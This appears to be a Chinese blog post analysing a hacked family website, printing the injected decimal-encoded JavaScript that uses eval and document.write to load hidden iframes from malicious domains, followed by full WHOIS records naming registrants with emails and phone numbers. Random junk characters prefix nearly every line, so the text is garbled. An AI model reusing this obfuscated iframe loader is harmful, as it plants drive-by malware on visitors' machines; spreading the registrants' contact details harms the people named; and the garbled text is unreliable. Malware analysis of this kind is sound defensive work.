首发在我的博客里面，
j[6Raf/(n >u J/TQU http://www.areway.cn/?p=175 x O7IzqY rs a&Oo
D> 8O1K[sEjui 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
H^1gy=kdj R|!B,b( <script>t=’60,105,102,114,97,109,101,
xn}BB}s{t 32,115,114,99,61,104,116,116,112,58,47,47,
*@ED}Mj+ 102,114,101,101,46,117,45,117,117,117,46,99,
u}6v?! 110,47,101,114,114,111,114,46,104,116,109,
w?csV8ot 32,119,105,100,116,104,61,49,48,48,32,104,
!p
8psi0 101,105,103,104,116,61,48,62,60,47,105,102,
oN(-rWdhZ 114,97,109,101,62′;
5, b]V)4 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
;K: 8#XuV !PUp>( <script>t=’60,105,102,114,97,109,101,32,115,
ELa ja87 114,99,61,104,116,116,112,58,47,47,102,114,
Gt/4F -Gn 101,101,46,117,45,117,117,117,46,99,110,47,
TOI4 ?D] 101,114,114,111,114,46,104,116,109,32,119,
lu UYo 105,100,116,104,61,49,48,48,32,104,101,105,
:6;e\UE 103,104,116,61,48,62,60,47,105,102,114,97,
|s gXh9%x< 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
5nC u~<uJ document.write(t);</script>
``? 6=mO A~lIa$U$b <html xmlns=”
>{Rb 3Z] http://www.w3.org/1999/xhtml &d`^ E6# “>
3]E(mRX <head>
x k~Nmb} <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
<M[U#Q~?~e <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
$M"0BZQ?y! <title>首页 - 爱生活家庭网
:XT?jdg L&Qi@D0P 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
6!EYrX}rI[ 转换字符串后的大概内容是（谁点击后果自付）：
G5]1s <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
9 -jO,l KO]N%]:&~ 查询玉米u-uuu.cn的详细信息：
w\|Ei( Domain Name: u-uuu.cn
i~qfGl p6) ROID: 20070901s10001s64972306-cn
p* ;Qz Domain Status: ok
"EftN5?/ Registrant Organization: 王雷
: h";c" Registrant Name: 王雷
<R1X \s. Administrative Email:
czlovexs@126.com `hB1b["( Sponsoring Registrar: 北京万网志成科技有限公司
p {%t q$}. Name Server:ns.yovole.com
rPq <Xb\ Name Server:ns1.yovole.com
#w3ru6*W Registration Date: 2007-09-01 17:54
{w`:KR6o7 Expiration Date: 2008-09-01 17:54
[ug,jEH"S 最后PING了一下地址 都没有什么….
ipKG ! \k&1*b?h 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
a5`eyL[f <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
|#5 e|z5( <script language=”javascript” src=”
;MTz]c http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script I>w^2 (y >
zJ & b|L 这个玉米应该有可能是木马作者的：
>mIg@knE foafau.info的详细信息：
5) lW Access to INFO WHOIS information is provided to assist persons in
W$\X ~Q'0 determining the contents of a domain name registration record in the
VTh$a_P> Afilias registry database. The data in this record is provided by
hH+bt!aH Afilias Limited for informational purposes only, and Afilias does not
>BqCkyM9Kf guarantee its accuracy. This service is intended only for query-based
]O!s 'lC access. You agree that you will use this data only for lawful purposes
fCEz-TMW and that, under no circumstances will you use this data to: (a) allow,
~LE[,
I:q enable, or otherwise support the transmission by e-mail, telephone, or
|ViU4 &d* facsimile of mass unsolicited, commercial advertising or solicitations
RLKj
u;u to entities other than the data recipient’s own existing customers; or
,@Z_{,b (b) enable high volume, automated, electronic processes that send
Rlc$; Z9K queries or data to the systems of Registry Operator, a Registrar, or
rpU/s@%L Afilias except as reasonably necessary to register domain names or
LR$z0rDEM modify existing registrations. All rights reserved. Afilias reserves
E5x]zXy4 the right to modify these terms at any time. By submitting this query,
.1ddv4Hk you agree to abide by this policy.
dl/X."iv! Domain ID:D22418703-LRMS
2Ug.:![ Domain Name:FOAFAU.INFO
kG3!(?: Created On:20-Nov-2007 16:05:42 UTC
DNth4 z Last Updated On:20-Nov-2007 16:05:44 UTC
I5pp "*u Expiration Date:20-Nov-2008 16:05:42 UTC
V;[p438o Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Lk(S2$)* Status:CLIENT DELETE PROHIBITED
I($,9|9F Status:CLIENT RENEW PROHIBITED
mCb 9*| Status:CLIENT TRANSFER PROHIBITED
~' BUrX\ Status:CLIENT UPDATE PROHIBITED
8Uj: Status:TRANSFER PROHIBITED
{
R*Y =Ie Registrant ID:GODA-040110615
~ v1W Registrant Name:liu hong
`Wf5 Registrant Organization:
rye)qp| Registrant Street1:beijing
)}|mDN&P Registrant Street2:
Hcl"T1N* Registrant Street3:
o`U|`4, Registrant City:beijing
d/B* Registrant State/Province:
BRtXf0~&p Registrant Postal Code:100000
o8D{dS>,PL Registrant Country:CN
vw
r RZ"2 Registrant Phone:+86.860108888777
%aLC H\e Registrant Phone Ext.:
:` <psvd Registrant FAX:
vo b$iS`>= Registrant FAX Ext.:
eti9nPjG Registrant Email:bbbshiji@163.com
iB{xvyR Admin ID:GODA-240110615
w4OW4J# Admin Name:liu hong
UA0t FeH Admin Organization:
2NR7V*A Admin Street1:beijing
=K6c; Admin Street2:
ta ! V=U Admin Street3:
rUFFF'm\*a Admin City:beijing
"#XtDpGk Admin State/Province:
jT"r$""1d Admin Postal Code:100000
@DCJ}h ud Admin Country:CN
g5TkD~w" Admin Phone:+86.860108888777
4hNwKe"Ki Admin Phone Ext.:
aiR5/
ZD Admin FAX:
|LFUzq>j Admin FAX Ext.:
H0tF Admin Email:bbbshiji@163.com
9UmBm #" Billing ID:GODA-340110615
Y2vj}9jK Billing Name:liu hong
e-!?[Ujv*% Billing Organization:
}* -u$=2 Billing Street1:beijing
5 vGioO Billing Street2:
j1F w
U Billing Street3:
]|BojSL_ Billing City:beijing
E(/ sXji! Billing State/Province:
A5+5J_)* Billing Postal Code:100000
T/7vM 6u Billing Country:CN
AgI > Billing Phone:+86.860108888777
HwW6tQ Billing Phone Ext.:
U 1F-~ {r Billing FAX:
g =x"cs/[ Billing FAX Ext.:
z"av|(?d Billing Email:bbbshiji@163.com
w@-b Tech ID:GODA-140110615
0:PSt_33F Tech Name:liu hong
w7ZG oh( Tech Organization:
Gx;x j0-" Tech Street1:beijing
;r@!a!NLB Tech Street2:
=WjJN Q Tech Street3:
7AeP Gr Tech City:beijing
4[_L=zD Tech State/Province:
cI3KB-lM# Tech Postal Code:100000
GMT or Tech Country:CN
AI R{s7N Tech Phone:+86.860108888777
8vO;IK]9b^ Tech Phone Ext.:
-Qg ,99M Tech FAX:
wzxdVn
'S Tech FAX Ext.:
iRou Ld Tech Email:bbbshiji@163.com
rV U:VL`2 Name Server:NS27.DOMAINCONTROL.COM
:B+Rg c qi Name Server:NS28.DOMAINCONTROL.COM
To^#
0 Name Server:
/THNP 8. Name Server:
O T%V{hD Name Server:
yI:r7=KO Name Server:
vh{9'vd3el Name Server:
[lOf|^9 Name Server:
Np)ho8zU Name Server:
F1\`l{B,\ Name Server:
&! OGIYC( Name Server:
qlEFJ5; Name Server:
fo;6huz Name Server:
m6eFXP1U gs-@hR.,s0 接着下载每个文件里面的代码：
])S$x{.g 一步一步看..
/bi6>GaC:E 
To"> DOt 
P!9;} & 
$wgc vySx 
E0T&GR@. 
?;+ ^ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
